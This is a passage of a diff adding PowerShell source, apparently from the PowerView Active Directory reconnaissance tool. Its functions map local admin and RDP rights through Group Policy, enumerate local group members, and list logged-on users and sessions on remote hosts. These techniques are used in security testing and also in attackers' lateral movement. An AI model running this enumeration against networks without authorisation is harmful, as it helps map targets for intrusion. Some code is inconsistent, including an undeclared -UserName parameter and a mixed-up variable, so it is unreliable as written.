catch { + Write-Verbose "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath + } + } + + process { + + try { + Write-Verbose "Attempting to parse Groups.xml: $TargetGroupsXMLPath" + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Group.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } + + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + + # extract out any/all filters...I hate you GPP + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if($Members -isnot [System.Array]) { $Members = @($Members) } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup + } + } + } + catch { + # Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + First enumerates all GPOs in the current/target domain using Get-NetGPO with passed + arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or + group membership is set through Group Policy Preferences groups.xml files. For any + GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' + section data is processed if present. Any found Groups.xml files are parsed with + Get-GroupsXML and those memberships are returned as well. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through for GPOs. + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER ResolveMemberSIDs + + Switch. Try to resolve the SIDs of all found group members. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Returns all local groups set by GPO along with their members and memberof. + + .LINK + + https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $ResolveMemberSIDs, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Option = [System.StringSplitOptions]::RemoveEmptyEntries + + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=*)(gpcfilesyspath=*))" + $GPOSearcher.PropertiesToLoad.AddRange(('displayname', 'name', 'gpcfilesyspath')) + + ForEach($GPOResult in $GPOSearcher.FindAll()) { + + $GPOdisplayName = $GPOResult.Properties['displayname'] + $GPOname = $GPOResult.Properties['name'] + $GPOPath = $GPOResult.Properties['gpcfilesyspath'] + Write-Verbose "Get-NetGPOGroup: enumerating $GPOPath" + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + + $Memberships = @{} + + # group the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if($ResolveMemberSIDs) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach($Member in $MembershipValue) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if(-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if($GroupName -and ($GroupName.Trim() -ne '')) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif($GroupName.Trim() -ne '') { + $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup + } + } + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'UsePSDrive' = $UsePSDrive + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $_.GroupMembers) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_ + } + } +} + + +function Find-GPOLocation { +<# + .SYNOPSIS + + Enumerates the machines where a specific user/group is a member of a specific + local group, all through GPO correlation. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite + Optional Dependencies: None + + .DESCRIPTION + + Takes a user/group name and optional domain, and determines the computers in the domain + the user/group has local admin (or RDP) rights to. + + It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-NetGPOGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + + If no user/group is specified, all user/group -> machine mappings discovered through + GPO relationships are returned. + + .PARAMETER Domain + + Optional domain the user exists in for querying, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOLocation + + Find all user/group -> machine relationships where the user/group is a member + of the local administrators group on target machines. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> + + [CmdletBinding()] + Param ( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $TargetSIDs = @('*') + + # figure out what the SID is of the target local group we're checking for membership in + if($LocalGroup -like "*Admin*") { + $TargetLocalSID = 'S-1-5-32-544' + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $TargetLocalSID = 'S-1-5-32-555' + } + elseif ($LocalGroup -like "S-1-5-*") { + $TargetLocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." + } + + if(-not $TargetSIDs) { + throw "No effective target SIDs!" + } + + Write-Verbose "TargetLocalSID: $TargetLocalSID" + Write-Verbose "Effective target SIDs: $TargetSIDs" + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + + # enumerate all GPO group mappings for the target domain that involve our target SID set + Sort-Object -Property GPOName -Unique -InputObject $(ForEach($GPOGroup in (Get-NetGPOGroup @GPOGroupArgs)) { + # if the locally set group is what we're looking for, check the GroupMembers ('members') + # for our target SID + if($GPOgroup.GroupSID -match $TargetLocalSID) { + ForEach($GPOgroupMember in $GPOgroup.GroupMembers) { + if($GPOgroupMember) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroupMember) ) { + $GPOgroup + } + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + }) | ForEach-Object { + + $GPOname = $_.GPODisplayName + write-verbose "GPOname: $GPOname" + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if(-not $TargetObject) { + # if the * wildcard was used, set the ObjectDistName as the GPO member SID set + # so all relationship mappings are output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObject + } + + # find any OUs that have this GUID applied and then retrieve any computers from the OU + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... + $FilterValue = $Filters.Value + $OUComputers = ForEach($OUComputer in (Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize)) { + if($OUComputer.ToLower() -match $Filters.Value) { + $OUComputer + } + } + } + else { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + } + + if($OUComputers) { + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-ADObject -SID $TargetSid + if (-not $Object) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + } + if($Object) { + $MemberDN = $Object.distinguishedName + $ObjectDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectDomain' $ObjectDomain + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODomain' $Domain + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $GPOLocation + } + } + } + } + + # find any sites that have this GUID applied + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + + ForEach ($TargetSid in $TargetObjectSIDs) { + # $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid + if (-not $Object) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + } + if($Object) { + $MemberDN = $Object.distinguishedName + $ObjectDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $AppliedSite = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectDomain' $ObjectDomain + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPODomain' $Domain + $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath + $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $AppliedSite + } + } + } + } +} + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# + .SYNOPSIS + + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. + + .PARAMETER ComputerName + + The hostname or IP to query for local group users. + + .PARAMETER ComputerFile + + File of hostnames/IPs to query for local group users. + + .PARAMETER GroupName + + The local group name to query for users. If not given, it defaults to "Administrators" + + .PARAMETER Recurse + + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + + .PARAMETER IsDomain + + Switch. Only return results that are domain accounts. + + .PARAMETER DomainSID + + The SID of the enumerated machine's domain, used to identify if results are domain + or local when using the -API flag. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup + + Returns the usernames that of members of localgroup "Administrators" on the local host. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP + + Returns all the local administrator accounts for WINDOWSXP + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse + + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. + + .EXAMPLE + + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. + + .LINK + + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> + + [CmdletBinding(DefaultParameterSetName = 'WinNT')] + param( + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + $ComputerName = $Env:ComputerName, + + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [String] + $GroupName = 'Administrators', + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Switch] + $IsDomain, + + [ValidateNotNullOrEmpty()] + [String] + $DomainSID + ) + + process { + + $Servers = @() + + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += $ComputerName | Get-NameField + } + + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $LocalUsers = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Result2 -eq 0) { + # error? + } + else { + $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Info.lgrmi2_domainandname + 'SID' = $SidString + 'IsGroup' = $IsGroup + 'Type' = 'LocalUser' + } + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $MachineSid = ($LocalUsers | Where-Object {$_['SID'] -like '*-500'})['SID'] + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + try { + ForEach($LocalUser in $LocalUsers) { + if($DomainSID -and ($LocalUser['SID'] -match $DomainSID)) { + $LocalUser['IsDomain'] = $True + } + elseif($LocalUser['SID'] -match $MachineSid) { + $LocalUser['IsDomain'] = $False + } + else { + $LocalUser['IsDomain'] = $True + } + if($IsDomain) { + if($LocalUser['IsDomain']) { + $LocalUser + } + } + else { + $LocalUser + } + } + } + catch { } + } + else { + # error + } + } + + else { + # otherwise we're using the WinNT service provider + try { + $LocalUsers = @() + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) + + $Members | ForEach-Object { + $LocalUser = ([ADSI]$_) + + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + if($IsDomain) { + if($MemberIsDomain) { + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Name + 'SID' = ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + 'IsGroup' = $IsGroup + 'IsDomain' = $MemberIsDomain + 'Type' = 'LocalUser' + } + } + } + else { + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Name + 'SID' = ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + 'IsGroup' = $IsGroup + 'IsDomain' = $MemberIsDomain + 'Type' = 'LocalUser' + } + } + } + $LocalUsers + } + catch { + Write-Verbose "Get-NetLocalGroup error for $Server : $_" + } + } + } + } +} + + +filter Get-NetLoggedon { +<# + .SYNOPSIS + + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. + + .PARAMETER ComputerName + + The hostname to query for logged on users. + + .OUTPUTS + + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users, + with the ComputerName added. + + .EXAMPLE + + PS C:\> Get-NetLoggedon + + Returns users actively logged onto the local host. + + .EXAMPLE + + PS C:\> Get-NetLoggedon -ComputerName sqlserver + + Returns users actively logged onto the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} + + +filter Get-NetSession { +<# + .SYNOPSIS + + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .PARAMETER UserName + + The user name to filter for active sessions. + + .OUTPUTS + + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions, with the ComputerName added. + + .EXAMPLE + + PS C:\> Get-NetSession + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetSession -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetSession + + Returns active sessions on all domain controllers. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [String] + $UserName = '' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} + + +filter Get-LoggedOnLocal { +<# + .SYNOPSIS + + This function will query the HKU registry values to retrieve the local + logged on users SID and then attempt and reverse it. + Adapted technique from Sysinternal's PSLoggedOn script. Benefit over + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). + + Note: This function requires only domain user rights on the + machine you're enumerating, but remote registry must be enabled. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = Convert-SidToName $_ + + $Parts = $UserName.Split('\') + $UserDomain = $Null + $UserName = $Parts[-1] + if ($Parts.Length -eq 2) { + $UserDomain = $Parts[0] + } + + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $LocalLoggedOnUser + } + } + catch { } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function 